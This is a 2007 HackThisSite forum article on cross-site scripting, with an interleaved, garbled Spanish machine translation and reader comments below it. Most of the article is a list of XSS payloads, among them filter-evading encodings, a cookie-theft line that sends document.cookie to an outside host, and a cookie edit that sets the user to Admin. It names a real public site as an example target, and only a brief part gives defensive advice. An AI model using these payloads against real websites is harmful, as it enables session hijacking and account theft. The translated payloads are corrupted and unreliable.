Hack este sitio!

[ Advertise With HackThisSite.org :: Hide These Ads ] [Anúnciate con HackThisSite.org:: Ocultar estos anuncios]

"When one may pay out over two million dollars to presidential and Congressional campaigns, the US government is virtually up for sale." "Cuando uno puede pagar más de dos millones de dólares para presidenciales y del Congreso de campañas, el gobierno de los EE.UU. es prácticamente a la venta." - John Gardner - John Gardner

HTS costs $300 a month to operate. HTS cuesta $ 300 por mes para funcionar. We need your help! Necesitamos tu ayuda!

Donors also receive special recognition on our donors page. Los donantes también recibirán un reconocimiento especial a nuestros donantes página.

FR DE ES IT PT FR DE ES IT PT

Link to us! Enlace con nosotros!

phoenix free shells Phoenix libre de los depósitos
hackergames.net hackergames.net
PullThePlug PullThePlug

XSS XSS
Published by: Pulse , on 2007-08-22 05:51:01 Publicado por: Pulso, en 2007-08-22 05:51:01
Cross Site Scripting exsistance is because of the lack of filtering engines to user inputs at websites on forms. Cross Site Scripting exsistance es debido a la falta de filtrado de los motores de las aportaciones de los usuarios en sitios web en los formularios. Hackers Evil Links Hackers mal vínculos <a href="[http://<XSS-host]/xssfile?evil request">Free Laptop!</a> <a href = "[http:// <XSS-host]/xssfile?evil request"> laptop gratis </ a> <iframe src="[http://<XSS-host]/xssfile?evil request">Free Laptop!</iframe> <iframe src = "[http:// <XSS-host]/xssfile?evil request"> laptop gratis! </ iframe> <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://www.Site.com/xss.js"></SCRIPT> <SCRIPT> Document.write ( "<SCRI ");</ SCRIPT> PT SRC =" http://www.Site.com/xss.js "> </ SCRIPT> XSS Cookie theft Javascript XSS Cookie robo Javascript http://host/a.php?variable="><script>document.location='http://www.mysite.com/cgi-bin/cookie.cgi? http://host/a.php?variable = "> <script> document.location = 'http://www.mysite.com/cgi-bin/cookie.cgi? '%20+document.cookie</script> '% 20 + document.cookie </ script> Moding Cookies Moding Cookies (Put in your browsers address bar) (Ponga su navegador en la barra de direcciones) CODE : CÓDIGO: `java<b></b>script:void(document.cookie="username=Admin")` `<b> java </ b> secuencia de comandos: void (document.cookie = "username = Admin")` How to Search for Vul Hosts Cómo buscar Vul de los Ejércitos CODE : CÓDIGO: `[host]/<script>alert("XSS")</script>` `[host] / <script> alert ( "XSS") </ script>` `[host]/<script>alert('XSS')</script>/` `[host] / <script> alert ( 'XSS') </ script> /` `[host]/<script>alert('XSS')</script>.` `[host] / <script> alert ( 'XSS') </ script>.` `[host]/<script>alert('XSS')</script>` `[host] / <script> alert ( 'XSS') </ script>` `[host]/<script>alert('XSS')</script>` `[host] / <script> alert ( 'XSS') </ script>` `[host]/perl/<sCRIPT>alert("d")</sCRIPT>.pl` `[host] / perl / <script> alert ( "d") </ script>. pl` `[host]/<sCRIPT>alert("d")</sCRIPT>` `[host] / <script> alert ( "d") </ script>` `[host]/<73CRIPT>alert("dsf")</73CRIPT>` `[host] / <73CRIPT> alert ( "DSM") </ 73CRIPT>` `[host]/<73CRIPT>alert('dsf')</73CRIPT>` `[host] / <73CRIPT> alert ( 'DSF') </ 73CRIPT>` `[host]/</sCRIP/T>alert("dsf")<///sCRIP/T>` `[host] / </ Scrip / T> alert ( "dsf ")</// Scrip / T>` `[host]/</sCRIP/T>alert('dsf')<///sCRIP/T>` `[host] / </ Scrip / T> alert ( 'dsf')</// Scrip / T>` `<script>java<b></b>script:alert(documentt.cookie)</script>` `<script> <b> java </ b> Guión: alert (documentt.cookie) </ script>` `<script>java<b></b>script:alert("XSS")</script>` `<script> <b> java </ b> Guión: alert ( "XSS") </ script>` `"<script>alert()</script>"This Site is not Secure!` `"<script> alerta () </ script>" Este sitio no es seguro!` `[host]/?<script>alert('XSS')</script>` `[host] /? <script> alert ( 'XSS') </ script>` - Also use "?" - También uso "?" post request after the host. puesto después de la solicitud de acogida. WebServers XSS XSS web Many webservers have default pages to folders that will look for a file. Muchos servidores web tienen por defecto las páginas a las carpetas que se busque un archivo. CODE : CÓDIGO: `[host]/[folder]/"<script%20language=vbscript>msgbox%20sadas</script>".bas` `[host] / [carpeta] / "<script%20language=vbscript> msgbox% 20sadas </ script>". bajorrelieve` `[host]/[folder]/"<script%20language=vbscript>msgbox%20sadas</script>".asp` `[host] / [carpeta] / "<script%20language=vbscript> msgbox% 20sadas </ script>". asp` `[host]/[folder]/"<script%20language=vbscript>msgbox%20sadas</script>".jsp` `[host] / [carpeta] / "<script%20language=vbscript> msgbox% 20sadas </ script>". jsp` `[host]/[folder]/"<script%20language=vbscript>msgbox%20sadas</script>".htm` `[host] / [carpeta] / "<script%20language=vbscript> msgbox% 20sadas </ script>". htm` `[host]/[folder]/"<script%20language=vbscript>msgbox%20sadas</script>".html` `[host] / [carpeta] / "<script%20language=vbscript> msgbox% 20sadas </ script>". html` `[host]/[folder]/"<script%20language=vbscript>msgbox%20sadas</script>".[ext]` `[host] / [carpeta] / "<script%20language=vbscript> msgbox% 20sadas </ script>". [ext]` A common place for an XSS hole is inside a server default example files, such as: Un lugar común de un agujero de XSS es dentro de un servidor por defecto los archivos de ejemplo, tales como: CODE : CÓDIGO: `[host]/cgi/example?test=<script>alert('xss')</script>` `[host] / cgi / ejemplo? test = <script> alert ( 'XSS') </ script>` Most common places to find XSS in are the search files of servers. La mayoría de los lugares comunes de encontrar son XSS en la búsqueda de archivos de los servidores. CODE : CÓDIGO: `[host]/search.php?searchstring=<script>alert('XSS')</script>` `[host] / search.php? searchstring = <script> alert ( 'XSS') </ script>` `[host]/search.php?searchstring="><script>alert('XSS')</script>` `[host] / search.php? searchstring = "> <script> alert ( 'XSS') </ script>` `[host]/search.php?searchstring='><script>alert('XSS')</script>` `[host] / search.php? searchstring = '> <script> alert (' XSS ') </ script>` Social Engineering XSS Ingeniería social XSS Using the characters instead may fool the filters and allow XSS to work. El uso de los caracteres en vez mayo engañar a los filtros y permitir XSS al trabajo. CODE : CÓDIGO: `[host]/%3cscript%3ealert('XSS')%3c/script%3e` `[host] /% 3cscript% 3ealert ( 'XSS') 3c/script% 3e%` `[host]/%3c%53cript%3ealert('XSS')%3c/%53cript%3e` `[host] /% 3C% 53cript% 3ealert ( 'XSS')% 3c /% 3e% 53cript` `[host]/%3c%53cript%3ealert('XSS')%3c%2f%53cript%3e` `[host] /% 3C% 53cript% 3ealert ( 'XSS')% 3c% 2F% 53cript% 3e` `[host]/%3cscript%3ealert('XSS')%3c/script%3e` `[host] /% 3cscript% 3ealert ( 'XSS') 3c/script% 3e%` `[host]/%3cscript%3ealert('XSS')%3c%2fscript%3e` `[host] /% 3cscript% 3ealert ( 'XSS')% 3c% 2fscript% 3e` `[host]/%3cscript%3ealert(%27XSS%27)%3c%2fscript%3e` `[host] /% 3cscript% 3ealert (27XSS%% 27)% 3c% 2fscript% 3e` `[host]/%3cscript%3ealert(%27XSS%27)%3c/script%3e` `[host] /% 3cscript% 3ealert (27XSS%% 27)% 3c/script% 3e` `[host]/%3cscript%3ealert("XSS")%3c/script%3e` `[host] /% 3cscript% 3ealert ( "XSS")% 3c/script% 3e` `[host]/%3c%53cript%3ealert("XSS")%3c/%53cript%3e` `[host] /% 3C% 53cript% 3ealert ( "XSS")% 3C /% 3e% 53cript` `[host]/%3c%53cript%3ealert("XSS")%3c%2f%53cript%3e` `[host] /% 3C% 53cript% 3ealert ( "XSS")% 3C% 2F% 53cript% 3e` `[host]/%3cscript%3ealert("XSS")%3c/script%3e` `[host] /% 3cscript% 3ealert ( "XSS")% 3c/script% 3e` `[host]/%3cscript%3ealert("XSS")%3c%2fscript%3e` `[host] /% 3cscript% 3ealert ( "XSS")% 3C% 2fscript% 3e` `[host]/%3cscript%3ealert(%34XSS%34)%3c%2fscript%3e` `[host] /% 3cscript% 3ealert (34XSS%% 34)% 3c% 2fscript% 3e` `[host]/%3cscript%3ealert(%34XSS%34)%3c/script%3e` `[host] /% 3cscript% 3ealert (34XSS%% 34)% 3c/script% 3e` `[host]/?%3cscript%3ealert('XSS')%3c/script%3e` `[host] /?% 3cscript% 3ealert ( 'XSS') 3c/script% 3e%` - Also use "?" - También uso "?" post request after the host. puesto después de la solicitud de acogida. 100% encoded 100% codificada CODE : CÓDIGO: `[host]/?%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e` `[host] /?% 22% 3e% 3c% 73% 63% 72% 69% 70% 74% 3e% 64% 6F% 63% 75% 6d% 65% 6e% 74% 2e% 63% 6F% 6F% 6 ter% 69% 65% 3c% 2f% 73% 63% 72% 69% 70% 74% 3e` CODE : CÓDIGO: `[host]/?%27%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e` `[host] /?% 27% 3e% 3c% 73% 63% 72% 69% 70% 74% 3e% 64% 6F% 63% 75% 6d% 65% 6e% 74% 2e% 63% 6F% 6F% 6 ter% 69% 65% 3c% 2f% 73% 63% 72% 69% 70% 74% 3e` CODE : CÓDIGO: `[host]/%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e` `[host] /% 3e% 3c% 73% 63% 72% 69% 70% 74% 3e% 64% 6F% 63% 75% 6d% 65% 6e% 74% 2e% 63% 6F% 6F% 69% 6 ter % 65% 3c% 2f% 73% 63% 72% 69% 70% 74% 3e` Another form of encoding is: <script>alert(document.cookie)</script> Otra forma de codificación es la siguiente: <script> alert (document.cookie) </ script> < is encoded as: < <Está codificado como: < > is encoded as: > > Se codifica como:> CODE : CÓDIGO: `%3Cscript%3Ealert(%22XSS%22)%3C/script%3E` `% 3Cscript% 3Ealert (22XSS%% 22)% 3C/script% 3E` `<script>alert("XSS")</script>` `<script> alert ( "XSS") </ script>` `<script>alert("XSS")</script>` `<script> alert ( "XSS") </ script>` `<script>alert(%34XSS%34)</script>` `<script> alert (34XSS%% 34) </ script>` `<script>alert('XSS')</script>` `<script> alert ( 'XSS') </` script> www.pbs.org/search/search_results.html?q=%3Cscript%3Ealert(document.cookie)%3C/script%3E www.pbs.org/search/search_results.html?q =% 3Cscript% 3Ealert (document.cookie)% 3C/script% 3E Any of the XSS requests presented above could be used on any asp, cfm, jsp, cgi, php or any other active html file. Cualquiera de los XSS solicitudes presentadas anteriormente podría ser utilizada en cualquier ASP, CFM, JSP, cgi, php o cualquier otro activo archivo html. CODE : CÓDIGO: `[host]/forum/post.asp?<script>alert('XSS')</script>` `[host] / foro / post.asp? <script> alert ( 'XSS') </ script>` `[host]/forum/post.asp?%3cscript%3ealert('XSS')%3c/script%3e` `[host] / foro / post.asp?% 3cscript% 3ealert ( 'XSS') 3c/script% 3e%` `[host]/forum/post.asp?%3cscript%3ealert(%27XSS%27)%3c/script%3e` `[host] / foro / post.asp?% 3cscript% 3ealert (27XSS%% 27)% 3c/script% 3e` `[host]/forum/post.asp?%3cscript%3ealert(%34XSS%34)%3c/script%3e` `[host] / foro / post.asp?% 3cscript% 3ealert (34XSS%% 34)% 3c/script% 3e` `[host]/forum/post.asp?<script>alert("XSS")</script>` `[host] / foro / post.asp? <script> alert ( "XSS") </ script>` Finding errors such as inputting a string instead of a number or "" or "/" instead of a string, or a very long string & a very large number. Encontrar errores tales como la introducción de una cadena en lugar de un número o "" o "/" en lugar de una cadena, o una muy larga cadena y un número muy grande. All this malformed parameters can help us find the place to inject XSS script. Todos los parámetros de este mal nos puede ayudar a encontrar el lugar para inyectar XSS script. Tag Closer Más cerca de etiquetas The "Tag Closer" method is used by inputing non-alphabetic and non-numeric chars El "Tag Closer" método es utilizado por inputing no alfabético y no numérico caracteres inside form's input text boxes. dentro del formulario de entrada cuadros de texto. This chars could be: ,/,~,!,#,$,%,^,&,-,[,],null(char 255),.(dot) Este caracteres podrían ser: ,/,~,!,#,$,%,^,&,-,[,], null (char 255). (Punto) But the chars that mostly does the job is either " or '. What we do is just insert "> or '> inside Sin embargo, la mayoría de caracteres que hace el trabajo es, o bien "o". Lo que hacemos es simplemente insertar "> o"> dentro de a text box instead of our name/email/username/password and etc... un cuadro de texto en lugar de nuestro nombre / email / nombre de usuario / contraseña, etc .. CODE : CÓDIGO: `[host]/admin/login.asp?username="><script>alert('XSS')</script>&password=1234` `[host] / admin / login.asp? nombre de usuario = "> <script> alert ( 'XSS') </ script> & password = 1234` `[host]/admin/login.asp?username=admin&password="><script>alert('XSS')</script>` `[host] / admin / login.asp? = nombre de usuario admin y password = "> <script> alert ( 'XSS') </ script>` `[host]/admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~">` `[host] / admin.php? action = vulns_add y catid = Seleccionar & título =~~~~~~~~~~~& mainnews =~~~~">` `< /textarea>--><script>alert('XSS')</script>` `</ Textarea >-->< script> alert ( 'XSS') </ script>` `[host]/search.php?action=soundex&firstname="><script>alert(document.cookie)</script>` `[host] / search.php? action = soundex y Nombre = "> <script> alert (document.cookie) </ script>` `[host]/admin/login.asp?username='><script>alert('XSS')</script>&password=1234` `[host] / admin / login.asp? nombre de usuario = '> <script> alert (' XSS ') </ script> & password = 1234` `[host]/admin/login.asp?username=admin&password='><script>alert('XSS')</script>` `[host] / admin / login.asp? = nombre de usuario admin y password = '> <script> alert (' XSS ') </ script>` `[host]/admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~'></textarea>-->` `[host] / admin.php? action = vulns_add y catid = Seleccionar & título =~~~~~~~~~~~& mainnews =~~~~'></ textarea> ->` `< script>alert('XSS')</script>` `<Script> alert ( 'XSS') </ script>` `[host]/search.php?action=soundex&firstname='><script>alert(document.cookie)</script>` `[host] / search.php? action = soundex y Apellido = '> <script> alert (document.cookie) </ script>` This mainly works on the servers root: Esta trabaja principalmente en los servidores root: CODE : CÓDIGO: `[host]/?"><script>alert('XSS')</script>` `[acogida ]/?">< script> alert ( 'XSS') </ script>` `[host]/?'><script>alert('XSS')</script>` `[acogida ]/?'>< script> alert ( 'XSS') </ script>` `[host]/?--><script>alert('XSS')</script>` `[acogida ]/?-->< script> alert ( 'XSS') </ script>` About <plaintext> Acerca de <plaintext> Another trick for exploiting an XSS was found by putting a <plaintext> tag Otro truco para explotar un XSS fue encontrado por poner una etiqueta <plaintext> after the xss code. después de que el código XSS. Sometimes that makes it easie to exploit. A veces, que lo hace easie a explotar. CODE : CÓDIGO: `[host]/?"><script>alert('XSS')</script><plaintext>` `[acogida ]/?">< script> alert ( 'XSS') </ script> <plaintext>` `[host]/?'><script>alert('XSS')</script><plaintext>` `[acogida ]/?'>< script> alert ( 'XSS') </ script> <plaintext>` `[host]/admin/login.asp?username="><script>alert('XSS')</script><plaintext>&password=1234` `[host] / admin / login.asp? nombre de usuario = "> <script> alert ( 'XSS') </ script> <plaintext> y contraseña = 1234` `[host]/admin/login.asp?username=admin&password="><script>alert('XSS')</script><plaintext>` `[host] / admin / login.asp? = nombre de usuario admin y password = "> <script> alert ( 'XSS') </ script> <plaintext>` `[host]/forum/post.asp?<script>alert('XSS')</script><plaintext>` `[host] / foro / post.asp? <script> alert ( 'XSS') </ script> <plaintext>` `[host]/forum/post.asp?%3cscript%3ealert('XSS')%3c/script%3e<plaintext>` `[host] / foro / post.asp?% 3cscript% 3ealert ( 'XSS') 3c/script% 3e% <plaintext>` `[host]/forum/post.asp?%3cscript%3ealert(%27XSS%27)%3c/script%3e<plaintext>` `[host] / foro / post.asp?% 3cscript% 3ealert (27XSS%% 27)% 3c/script% 3e <plaintext>` `[host]/forum/post.asp?%3cscript%3ealert(%34XSS%34)%3c/script%3e<plaintext>` `[host] / foro / post.asp?% 3cscript% 3ealert (34XSS%% 34)% 3c/script% 3e <plaintext>` `[host]/forum/post.asp?<script>alert("XSS")</script><plaintext>` `[host] / foro / post.asp? <script> alert ( "XSS") </ script> <plaintext>` `[host]/search.php?action=soundex&firstname="><script>alert(document.cookie)</script>` `[host] / search.php? action = soundex y Nombre = "> <script> alert (document.cookie) </ script>` `& lt;plaintext>` `& Lt; texto>` `www.pbs.org/search/search_results.html?q=%3Cscript%3Ealert(document.cookie)%3C/script%3E` `www.pbs.org/search/search_results.html?q =% 3Cscript% 3Ealert (document.cookie)% 3C/script% 3E` `%3Cplaintext%3E` `% 3Cplaintext% 3E` Simple Codes just incase some of them do-not seem to work: Simple códigos sólo en caso de algunos de ellos-no parece funcionar: CODE : CÓDIGO: `< /title><script>alert("XSS");</script><title><plaintext>` `</ Title> <script> alert ( "XSS ");</ script> <title> <plaintext>` `< script>alert(document.cookie)</script><plaintext>` `<Script> alert (document.cookie) </ script> <plaintext>` Security Conclusion Conclusión de Seguridad Repace: CODE : CÓDIGO: `< with <` `<Con <` `> with >` `> Con>` `& with &` `Y con &` `" with &quote;` `"Con &quote;` Possible XSS: XSS posibles: CODE : CÓDIGO: `<applet> <frameset> <layer> <body>` `<applet> <frameset> <layer> <body>` `< html> <ilayer> <embed> <iframe>` `<Html> <ilayer> <EMBED> <iframe>` `< meta> <frame> <img> <object>` `<Meta> <frame> <img> <objeto>` `< script> <style>` `<Script> <style>` The best protection against it is filtering and removing from recieved input any non-alphabetic and non-numeric chars La mejor protección en contra de ella es el filtrado y la eliminación de cualquier aportación recibida no alfabético y no numérico caracteres and testing to make sure that the filtering system works! y la realización de pruebas para asegurarse de que el sistema de filtrado funciona! "To make XSS and SQL Injections Leet you must apply Social Engineering" "Para hacer XSS y SQL Inyecciones Leet debe aplicar ingeniería social" by Doz por Doz
Cast your vote on this article Emitir su voto sobre este artículo Note: the order of the votes has been reversed. Nota: el orden de los votos se ha invertido.

Comments: Comentarios:
Published: 17 comments. Publicado: 17 comentarios.

jourdie - 05:08 am Wednesday August 22nd, 2007 jourdie - 05:08 horas Miércoles 22 de agosto de 2007

That was pretty decent, a little messy though, try and use some tabs to make it easier to read..8/10! Eso fue bastante decente, un poco desordenado, sin embargo, tratar y utilizar algunas pestañas para que sea más fácil read..8/10!

Cypher101 - 01:41 pm Wednesday August 22nd, 2007 Cypher101 - 01:41 pm Miércoles 22 de agosto de 2007

I had to give it a 7 to avoid a warn from faith. Tuve que darle un 7 a evitar una advertir de la fe. I just didn\'t have a good enough reason to explain a 6.....??? No acabo de \ 'no tiene una buena razón para explicar a 6 .....???

lordofwhee - 02:13 pm Wednesday August 22nd, 2007 lordofwhee - 02:13 pm Miércoles 22 de agosto de 2007

Doesn\'t really explain anything, just gives a list of examples and a small explanation of certain aspects, not enough to actually understand XSS, or, really, any of the exploits themselves. No \ 'realmente no explicar nada, sólo da una lista de ejemplos y una pequeña explicación de ciertos aspectos, no basta para realmente entender XSS, o, realmente, cualquiera de las hazañas propias.

ScrAm - 03:06 pm Wednesday August 22nd, 2007 Scram - 03:06 pm Miércoles 22 de agosto de 2007

You didn\'t use any of the BBCode, especially [code][/code] tags.. ¿No \ 'no utilizar cualquiera de los BBCode, especialmente [código] [/ code] etiquetas .. it would\'ve made it look a LOT neater. que \ 'he hecho una mirada LOTE neater.

yourmysin - 04:30 pm Wednesday August 22nd, 2007 yourmysin - 04:30 pm Miércoles 22 de agosto de 2007

This article was kind of messy, ill try to clean it up a bit. Este artículo es de tipo desordenado, los malos tratar de limpiarlo un poco. Pulse, it seems you do not understand BBcode, or do not know we have it, but please use it. Pulso, parece que usted no entiende BBCode, o no saben lo tenemos, pero, por favor use. Your content is great, but the formatting is now. Su contenido es grande, pero el formato es ahora.

In my opinion there was to many example links, and encoded ascii. En mi opinión hay muchos ejemplo de los vínculos, y codificados ascii.

dialup_haxor - 07:19 pm Wednesday August 22nd, 2007 dialup_haxor - 07:19 pm Miércoles 22 de agosto de 2007

It\'s OK, but could be a lot better. Es \ 's OK, pero podría ser mucho mejor. -3 for formatting. -3 De formato.

Jheshka - 09:17 pm Wednesday August 22nd, 2007 Jheshka - 09:17 pm Miércoles 22 de agosto de 2007

[code] BBCodes + better spacing would\'ve made this easier to read, but a lot of good data. [código] + BBCodes mejor espaciamiento que \ 'he hecho esto más fácil de leer, pero una gran cantidad de datos de buena calidad. Good job :D Buen trabajo: D

lordofwhee - 10:41 pm Wednesday August 22nd, 2007 lordofwhee - 10:41 pm Miércoles 22 de agosto de 2007

Wow, now everyone is just voting 7 and 8 to avoid having to explain themselves. Wow, ahora todo el mundo es sólo la votación 7 y 8 para evitar tener que explicar ellos mismos.

Kinda defeats the purpose of the voting system... Kinda derrotas el fin del sistema de votación ...

Bliepo32 - 12:45 am Thursday August 23rd, 2007 Bliepo32 - 12:45 am Jueves 23 de agosto de 2007

But you are still going on with giving 1\'s. Pero usted está todavía en marcha con dar 1 \ 's. This is, according to you, because the articles are of low quality. Esto es, de acuerdo con usted, porque los artículos son de baja calidad.

I however believe otherwise. Sin embargo yo creo otra cosa. Most of the articles are of reasonable quality, and are worth a 7, or at least a 6. La mayoría de los artículos son de calidad razonable, y vale la pena un 7, o por lo menos un 6. I believe you just seem to think it\'s funny to give people a 1, or you want \'revenge\' for some reason. Creo que sólo parecen pensar que \ 's divertido para dar a las personas a 1, o si desea \ "venganza \" por alguna razón. Maybe because your articles have never been accepted? Tal vez porque sus artículos nunca han sido aceptadas? I don\'t even know if you tried to make an article. I don 't incluso si ha intentado hacer un artículo.

Maybe it would be a good idea to make an article yourself, so you know how hard that is. Tal vez sería una buena idea para hacer un mismo artículo, por lo que usted sabe lo difícil que es. If you do so, then I will give you a 1. Si lo hace, entonces yo le dará un 1. So you know how it feels. ¿Sabes cómo se siente.

I also think it would be a good idea to take your voting powers from you. También creo que sería una buena idea para tener en su poder de voto de ustedes. Unfortunately, I am not the person to make this decision. Lamentablemente, no soy la persona a tomar esta decisión.

Edit: Wow at his profile comments? Edit: Vaya a su perfil de los comentarios? ehm... EHM ... what does wow mean? wow, ¿qué significa?

liuyuan - 12:48 am Thursday August 23rd, 2007 liuyuan - 12:48 am Jueves 23 de agosto de 2007

Bliepo32, wow at his profile comments.... Bliepo32, wow su perfil en los comentarios ....

igykalen - 05:05 pm Friday August 24th, 2007 igykalen - 05:05 pm Viernes 24 de agosto de 2007

Why does every other site have the ability to weed out crazy votes using a system, but a site created by hackers can\'t figure one out? ¿Por qué todos los demás sitio tienen la capacidad de eliminar loco votos mediante un sistema, pero un sitio creado por los hackers pueden \ 'No a una cifra?
A one means it sucks. A uno de los medios que apesta. No need for an explanation. No hay necesidad de una explicación. And why 7? ¿Y por qué 7? shouldn\'t 5 be middle. debí \ 'T 5 se medio. Now every article will end up great! Ahora cada artículo va a terminar genial! bad system. mal sistema. I think the ones help counter the 10\'s given for no reason. Creo que los ayudará a contrarrestar los 10 \ 's para no dar la razón.

For system example Por ejemplo el sistema
http://www.imdb.com/title/tt0120815/ratings

Cypher101 - 06:29 pm Friday August 24th, 2007 Cypher101 - 06:29 pm Viernes 24 de agosto de 2007

What is iVote? ¿Qué es iVote? Who cares what others voted. ¿A quién le importa lo que otros votado. And isn\'t the internet about anoymonity and privacy. Y no es \ 't la internet acerca de anoymonity y de la intimidad. Why should anyone be allowed to see everyone else\'s votes? ¿Por qué alguien debería ser permitido para ver todos los demás \ 's votos?
especially when many already tell you what they voted. especialmente cuando muchos ya te lo han votado.

Not to mention it makes it hard to look at when trying to read any of the comments. Por no mencionar que hace que sea difícil mirar al tratar de leer alguno de los comentarios. Whose brainchild was this idea? Cuya creación fue esta idea?

Sorry to post off topic. Lo sentimos para enviar fuera de tema. But so does iVote. Pero lo hace iVote.

kjar23 - 05:35 am Tuesday October 02nd, 2007 kjar23 - 05:35 horas Martes 02a octubre de 2007

i kinda find this hard if anyone can help me with xss thank you i esta un poco difícil encontrar, si alguien me puede ayudar con XSS gracias

kjar23 - 05:36 am Tuesday October 02nd, 2007 kjar23 - 05:36 horas Martes 02a octubre de 2007

i kinda find this hard if anyone can help me with xss thank you i esta un poco difícil encontrar, si alguien me puede ayudar con XSS gracias

BiLLo - 08:12 pm Thursday October 04th, 2007 BiLLo - 08:12 pm Jueves 04 de octubre de 2007

would a good way to stop xss on a chatbox be to filter </script> ? sería una buena manera de dejar de XSS en un chat a filtro </ script>?

diggan - 03:27 pm Monday November 19th, 2007 diggan - 03:27 pm de lunes 19 de noviembre de 2007

Thanks :D Gracias: D

cleverhacker - 12:21 pm Sunday March 09th, 2008 cleverhacker - 12:21 pm del domingo 09 de marzo, 2008

its great but can some one help me :D su gran pero algunos pueden ayudar a uno de mí: D

This site is the collective work of the HackThisSite staff. Este sitio es el trabajo colectivo de la HackThisSite personal. Please don't reproduce in part or whole without permission. Por favor, no reproducir en parte o su totalidad sin permiso.
Page Generated: Fri, 21 Nov 2008 07:10:35 -0500 Exec: 10 Página de creación: Viernes, 21 Nov 2008 07:10:35 -0500 Ejec: 10
_{Page loaded in 0.15422 seconds!} _{Page cargado en 0,15422 segundos!}

Donate Donar

Challenges Retos

Get Informed Infórmese

Get Involved ¡Participa!

Communicate Comunicar

About HTS Acerca de HTS

Translate Traducir

Partners Socios